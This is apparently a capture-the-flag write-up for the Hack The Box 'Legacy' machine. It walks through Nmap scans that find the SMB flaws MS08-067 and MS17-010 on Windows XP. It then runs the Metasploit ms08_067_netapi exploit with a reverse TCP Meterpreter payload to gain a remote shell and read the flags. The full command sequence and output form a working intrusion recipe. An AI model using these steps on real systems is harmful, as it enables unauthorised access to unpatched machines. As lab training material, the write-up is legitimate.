Legacy

Related Academy Modules

- Network Enumeration with Nmap
- Using the Metasploit Framework
- Windows Privilege Escalation
- Footprinting
- Attacking Common Services
- Using CrackMapExec
- Getting Started
- Introduction to Windows Command Line

Nmap Scan

We start with an Nmap scan to map out the target.

```
└$ nmap -sC -sV -0 -T5 10.10.10.4
PORT
       STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Host script results:
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:94:72:d5 (VMware)
| smb-os-discovery:
   OS: Windows XP (Windows 2000 LAN Manager)
   OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
  NetBIOS computer name: LEGACY\x00
   Workgroup: HTB\x00
_ System time: 2025-10-09T18:17:44+03:00
_clock-skew: mean: 5d00h27m52s, deviation: 2h07m16s, median: 4d22h57m52s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
```

We are dealing with Windows XP and SMB.

Finding ms08-067

Let's run Nmap again, now for finding SMB vulnerabilities on port 445.

```
__$ nmap -p 445 10.10.10.4 -T5 --script=smb-vuln*
        STATE SERVICE
PORT
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
   VULNERABLE:
   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-
010)
State: VULNERABLE
     IDs: CVE:CVE-2017-0143
     Risk factor: HIGH
        A critical remote code execution vulnerability exists in Microsoft
SMBv1
        servers (ms17-010).
Disclosure date: 2017-03-14
      References:
        https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
        https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-
guidance-for-wannacrypt-attacks/
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067:
   VULNERABLE:
   Microsoft Windows system vulnerable to remote code execution (MSO8-067)
      State: LIKELY VULNERABLE
      IDs: CVE:CVE-2008-4250
            The Server service in Microsoft Windows 2000 SP4, XP SP2 and
SP3, Server 2003 SP1 and SP2,
            Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote
attackers to execute arbitrary
            code via a crafted RPC request that triggers the overflow during
path canonicalization.
      Disclosure date: 2008-10-23
     References:
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
        https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
```

Two vulnerabilities exist:

ms08-067 (CVE-2008-4250)
 I choose the second one.

Metasploit

We search for the well-known exploit in Metasploit and run it:

```
msf exploit(windows/smb/ms08_067_netapi) > options
Module options (exploit/windows/smb/ms08_067_netapi):
           Current Setting Required Description
  Name
                            yes
  RHOSTS
                                      The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
  RPORT
           445
                                      The SMB service port (TCP)
                            yes
  SMBPIPE BROWSER
                                      The pipe name to use (BROWSER,
                            yes
SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
            Current Setting Required Description
  Name
  EXITFUNC thread
                           yes
                                 Exit technique (Accepted: '', seh,
thread, process, none)
  LHOST
           10.0.2.15
                      yes The listen address (an interface may
be specified)
  LPORT
           4444
                            yes The listen port
Exploit target:
  Id Name
      Automatic Targeting
msf exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
RHOSTS => 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) > set LHOST tun0
LHOST => 10.10.14.21
msf exploit(windows/smb/ms08_067_netapi) > check
[+] 10.10.10.4:445 - The target is vulnerable.
msf exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.14.21:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-
3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat
operator '+' and '?' was replaced with '*' in regular expression
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
```

```
[*] 10.10.10.4:445 - We could not detect the language pack, defaulting to English

[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)

[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...

[*] Sending stage (177734 bytes) to 10.10.10.4

[*] Meterpreter session 1 opened (10.10.14.21:4444 -> 10.10.10.4:1035) at 2025-10-05 05:57:10 -0400

meterpreter > shell

Process 428 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.
```

We popped a shell on the system and we are free to look around anywhere and everywhere. Of course, the Desktop is the first place I go to, finding both flags.

If any problems do occur at the exploitation part, make sure to use show targets and select the corresponding one Windows XP SP3 English (AlwaysOn NX). If this doesn't solve your problems, don't worry this machine is unstable enough. Look into your options, make sure you also set the LHOST correctly as your tun0 interface, if you still bump into problems, restart the machine.